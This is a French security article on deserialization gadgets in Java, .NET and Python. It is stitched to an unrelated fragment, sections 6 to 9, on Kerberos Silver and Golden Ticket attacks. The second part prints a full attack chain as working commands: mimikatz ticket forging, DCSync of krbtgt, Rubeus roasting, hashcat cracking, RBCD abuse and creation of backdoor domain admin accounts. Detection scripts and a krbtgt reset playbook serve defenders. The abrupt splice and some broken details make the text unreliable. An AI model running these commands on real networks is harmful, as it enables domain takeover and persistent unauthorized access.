Désérialisation et gadgets en Java/.NET/Python

Résumé exécutif

Les vulnérabilités de désérialisation restent un vecteur majeur d’exécution de code et de compromission d’applications. Les frameworks Java, .NET et Python utilisent des mécanismes de sérialisation pour persister des objets ou échanger des données. Les attaquants forgent des charges utiles (gadget chains) qui, lors de la désérialisation, déclenchent des actions arbitraires (RCE, suppression, exfiltration). Cet article analyse les mécanismes de désérialisation, les familles de gadgets (Commons Collections, ysoserial, GadgetInspector, ysoserial.net, python Pickle), les scénarios d’exploitation, puis propose des stratégies de durcissement (whitelists, sandboxing, signed objects) et de détection (anomalies, instrumentation). L’objectif est d’équiper les équipes AppSec, DevSecOps et SOC.

Comprendre la désérialisation

La désérialisation consiste à reconstruire un objet complexe à partir d’un flux binaire ou textuel (JSON, XML, binaire propre au langage). Lorsque le flux est contrôlé par un acteur externe, des objets inattendus peuvent être instanciés, exécutant du code via des readObject, reduce, ObjectDataProvider, etc.

Java : mécanismes et gadgets

Sérialisation Java standard

• java.io.Serializable, readObject.
• ObjectInputStream désérialise en s’appuyant sur la classe fournie dans le flux.

Gadgets connus

• Apache Commons Collections (InvokerTransformer, ChainedTransformer).
• Spring Beans, Groovy, Jython.
• TemplatesImpl (JDK).
• ROME, C3P0.

Outils : ysoserial (java) génère des payloads.

Scénarios

• Application backend recevant cookie sérialisé.
• RMI/JMX exposés.
• JMS MQ.

.NET : BinaryFormatter & gadgets

Mécanismes

• BinaryFormatter, DataContractSerializer.
• ObjectStateFormatter, LosFormatter.

Gadgets

• ysoserial.net (ex : TypeConfuseDelegate, ActivitySurrogateSelector).
• TextFormattingRunProperties.

Scénarios : ViewState non signé, WCF, ASP.NET.

Python : Pickle et modules

• pickle.loads(), cPickle.
• reduce, setstate attributs.
• Bibliothèques : yaml.load (PyYAML), marshal.

Gadgets : classes personnalisées, os.system. Outils : pickletools, Python marshalsec.

Vecteurs d’exploitation

1. Entrées non validées : champs hidden, cookies, API. 2. Services réseau : RMI, WCF, gRPC. 3. Proxies : caches, message queues. 4. Viewstate (ASP.NET) sans MAC.

Hardening et mitigations

Java

• ObjectInputFilter (JEP 290) : allowlist classes.
• SerializationFilterConfig via JDK.
• Kryo safe mode.
• Utiliser formats structurés (JSON) + validation.
• Gson (safe) ? attention.

.NET

• Éviter BinaryFormatter.
• Utiliser DataContractSerializer avec KnownTypes.
• ViewStateMAC + ViewStateEncryption.
• IsUnsafeBinaryFormatterInUse (FxCop analyzers).

Python

• Éviter pickle pour données non fiables.
• Utiliser json, simplejson, ast.literaleval.
• yaml.safeload.

Approches transverses

• Whitelist de classes.
• Signatures numériques.
• Sandboxing (process isolés).
• Rotation de clés (ViewState).
• Désactivation de la désérialisation par défaut (config).

Détection et monitoring

• Logs d’erreur (InvalidClassException).
• Traces Stack (Transformer).
• WAF signatures (payload rO0).
• SIEM correlation.
• Runtime instrumentation (Java Agent, APM).

ML / Anomalies

• Analyser distribution des classes désérialisées.
• Détecter chaines CommonsCollections.

Sandboxing

• Exécuter désérialisation dans sandbox (Java SecurityManager -> obsolète, alternatives).
• Process isolé (container).
• Limitations OS (seccomp).

Tests et outils offensifs

• ysoserial : java -jar ysoserial.jar CommonsCollections1 calc.
• ysoserial.net : BinaryFormatter.
• marshalsec.
• Burp Extensions (Java Serial Killer).

Programme de gestion des risques

1. Inventaire des points de désérialisation. 2. Priorisation risque (exposition). 3. Remédiation (changer format). 4. Monitoring.

Observabilité technique

• Ajouter instrumentation custom ObjectInputFilter.
• Osquery (process loaded).
• ETW (CLR events).

Response playbook

1. Détection (log/alert). 2. Identifier endpoint. 3. Isoler instance (contain). 4. Patcher code (disable deserial). 5. Investigate (forensic). 6. Communication. 7. Post mortem.

Case studies

• Equifax (2017) : Apache Struts OGNL (pas désérialisation mais similaire).
• Jenkins (2015) : RCE via Java remoting.
• PayPal (2019) : Python Pickle RCE.
• Adobe ColdFusion (BlazeDS).

DevSecOps & pipelines

• SAST rules (Semgrep).
• Dependency scanning (detect libs vuln).
• DAST (OWASP ZAP).

Conclusion

Analyse technique approfondie

Java : fonctionnement détaillé d’une chaîne gadget

1. L’attaquant forge un objet java.util.PriorityQueue contenant des InvokerTransformer (Commons Collections). 2. Lors de readObject, la priorité est recalculée, déclenchant transform(). 3. InvokerTransformer appelle Runtime.getRuntime().exec() avec la commande fournie. 4. RCE obtenue sur la JVM.

De nombreuses variantes existent (TemplatesImpl, BadAttributeValueExpException). Les payloads sont générés via ysoserial.

.NET : TypeConfuseDelegate

• Construit un SerializedStream contenant un DataSet manipulé.
• Utilise BinaryFormatter pour confondre Delegate.
• Exécute Process.Start.

Python : Pickle

• L’objet malveillant implémente reduce retournant un tuple avec fonction os.system et commande.
• pickle.loads exécute cette fonction.

XML External Entity (XXE) vs désérialisation

• Souvent combinés : XXE pour SSRF, puis désérialisation via SOAP.

Écosystème de gadgets

• GadgetInspector (java) pour détecter gadgets.
• Marshalsec (Markus Wulftange) -> set de gadgets.
• jmet (Java mass exploit tool).
• ysoserial.net & ysoevil.
• picklefinder (Python).

Inventaire et classification

• Documenter toutes les utilisations de sérialisation (langage, endpoint, format).
• Classer en externe (inbound) vs interne (safe).
• Prioriser durcissement sur externe.

Processus de migration vers formats sûrs

1. Identifier usages Serializable. 2. Remplacer par JSON, MessagePack ou Protobuf. 3. Ajouter validation schéma (JSON Schema). 4. Phase de compatibilité (versioning). 5. Désactiver sérialisation legacy.

Hardening avancé

• Java : désactiver sun.rmi.server.deserialization.checks=activation, com.sun.jndi.rmi.object.trustURLCodebase=false.
• Spring : DefaultListableBeanFactory.setSerializationId(null).
• .NET : AppContext.SetSwitch("Switch.System.Runtime.Serialization.EnableUnsafeTypes", false).
• Python : pickle -> RestrictedUnpickler.

Sandboxing techniques

• Exécuter désérialisation dans container avec seccomp, AppArmor.
• Limiter accès système (no network).
• Timeout & mémoire.

Detection au runtime

• Java Agent (Bytecode instrumentation) pour log readObject.
• Hook BinaryFormatter.Deserialize.
• Python : monkeypatch pickle.loads.

ML/Anomalie

• Collecter features : classe, taille, entropie, temps exécution.
• IsolationForest pour détecter objets suspects.

Logging & SIEM

• Logs DeserializationAttempt, inclure className, sourceIP, traceId.
• KQL :

ApplicationLogs
| where Message has "Deserialization" and SeverityLevel >= 2
| summarize count() by ClassName, bin(TimeGenerated, 1h)

Études de cas détaillées

1. Jenkins (CVE-2015-4852)

• Utilise ysoserial CommonsCollections1.
• Remédiation : update libs, JEP 290, patch.
• Leçons : patch rapide, WAF signatures.

2. WebLogic (CVE-2017-10271)

• JMS / T3 protocol.
• Exploit marshalsec -> T3.
• Oracle patch, restrict T3 port.

3. DotNetNuke (CVE-2017-9822)

• BinaryFormatter RCE.
• Correction : patch modules, viewstate MAC.

4. PayPal (2019)

• Python Pickle RCE via reduce.
• Fix: yaml.safeload.

rules:

id: java-deserialization

  patterns:
    - pattern: |
        ObjectInputStream $OIS = new ObjectInputStream($X);
  message: "Avoid Java deserialisation of untrusted data"
  languages: [java]
  severity: ERROR

• Frameworks : Django (signed cookies), Flask (itsdangerous), Celery.
• PyYAML -> use safeload.
• msgpack -> strictmapkey.

Migration patterns

• Introduire un adaptateur Deserializer central.
• Deprecate legacy APIs.
• Provide output checks (schema).

Instrumentation & detection

Java agent example

public class DeserializationAgent {
  public static void premain(String args, Instrumentation inst) {
    inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> {
      if ("java/io/ObjectInputStream".equals(className)) {
        // bytecode instrumentation to wrap readObject
      }
      return null;
    });
  }
}

.NET profiling

• Use Profiling API to intercept BinaryFormatter.Deserialize.
• Log call stack, size.

Python

• Override pickle.Unpickler.load to log class names.

Runtime policies

• Define Allowlist: java.util.ArrayList, com.company.dto..
• Deny org.apache.commons.collections.functors.InvokerTransformer.
• ObjectInputFilter syntax: maxdepth=10;java.util.;!org.apache.commons.collections..

ObjectInputFilter filter = info -> {
    if (info.depth() > 5) return Status.REJECT;
    Class<?> clazz = info.serialClass();
    if (clazz != null) {
        String name = clazz.getName();
        if (name.startsWith("java.util") || name.startsWith("com.myapp.dto")) {
            return Status.ALLOWED;
        }
        return Status.REJECT;
    }
    return Status.UNDECIDED;
};
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);

var settings = new DataContractSerializerSettings
{
    KnownTypes = new[] { typeof(MyDto) },
    PreserveObjectReferences = false
};
var serializer = new DataContractSerializer(typeof(MyDto), settings);

import pickle
class RestrictedUnpickler(pickle.Unpickler):
    allowed = {'builtin': {'set'}}
    def findclass(self, module, name):
        if module in self.allowed and name in self.allowed[module]:
            return getattr(import(module), name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

AppTraces
| where Message has "Deserialization attempt" and Level == "Warning"
| extend Class=extract("class=(.+?)", 1, Message)
| summarize count() by Class, bin(TimeGenerated, 1d)

• Environment variables JDKJAVAOPTIONS="-Djdk.serialFilter=maxdepth=5;java.base/".
• .NET AddJsonOptions with MaxDepth.
• Python: sys.setrecursionlimit (limiter).

• Falco rule : detect java launching sh.
• Auditbeat monitors exec.

• Utiliser Autoencoder sur features de classes -> detect outliers.
• Retrain sur glissements.

• Alignement sur CWE-502.
• Rapport sécurité (ISO audit).

Une API legacy Java acceptait des messages queue sérialisés. Suite à un test red team, un payload CommonsCollections5 a obtenu un SHA shell. L’équipe a migré vers JSON, mis en place ObjectInputFilter, instrumenté logs. Résultat : réduction surface 80%, 0 incidents ultérieurs.

• Sélection apps prioritaires.
• Static analysis (grep Serializable).
• Code review pairs.
• Tests dynamiques.
• Rapports avec remédiations.

• Créer script detect-serializers.py.
• Catalog shared libs.

| Rôle | Responsabilités clés | |------|----------------------| | Développeur | Utiliser les wrappers sécurisés, ne jamais introduire Serializable sans revue | | Architecte | Définir les formats de message, valider la stratégie de migration | | AppSec | Fournir guidelines, revues de code, outillage SAST/DAST | | SecOps | Surveiller les logs, maintenir les règles SIEM, orchestrer la réponse | | SRE | Garantir l’observabilité, participer aux post-mortems | | Legal/Compliance | Évaluer l’impact réglementaire en cas d’incident |

• Trimestre 1 : cours introductif Serialization 101.
• Trimestre 2 : workshop Java ObjectInputFilter.
• Trimestre 3 : purple team exercice (ysoserial).
• Trimestre 4 : audit global & sharing lessons.

• STD-APP-004 Désérialisation : "Toute utilisation de désérialisation doit utiliser un format JSON validé ou un mécanisme approuvé. Les classes java.io.Serializable, BinaryFormatter, pickle sont interdits dans les applications exposées. Toute exception doit être revue par AppSec."

import "tfplan/v2" as tfplan

main = rule {
  all tfplan.resourcechanges as , rc {
    rc.type != "awsinstance" or
    rc.change.after.metadataoptions.http_tokens == "required"
  }
}

• Step 1 : SAST (Semgrep, CodeQL).
• Step 2 : Dependency scanning (Snyk).
• Step 3 : Build instrumentation.
• Step 4 : Deploy with logging config.
• Step 5 : Run security tests (ysoserial).
• Step 6 : Publish reports.

• NIST CSF -> Identify (inventory), Protect (controls), Detect, Respond, Recover.
• ISO 27001 Annex A -> A.14 (security in development).

• Migration vers architectures message-driven avec schémas (Avro, Protobuf).
• Adoption de Policy-as-code` généralisée.

Phrase finale

Prévenir la désérialisation malveillante et l’exploitation de gadgets demande une vigilance constante, une automatisation intelligente et une culture d’amélioration continue. En alignant technologie, processus et humains, les organisations transforment ce risque en opportunité de renforcer leur maturité AppSec.

La sécurité applicative n’est jamais statique : continuez à mesurer, tester, former et collaborer pour que chaque évolution réduise encore davantage la surface d’exposition aux gadgets de désérialisation. Partager les leçons apprises avec la communauté, surveiller les nouvelles chaînes gadgets et investir dans des outils de détection proactifs aidera à conserver cet avantage défensif. Renforcez vos pipelines, observez les signaux faibles, ajustez vos politiques et restez prêts à réagir : la résilience face aux gadgets de désérialisation se construit jour après jour. Toujours analyser, toujours corriger, toujours progresser. Toujours résilient. Pérennité.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled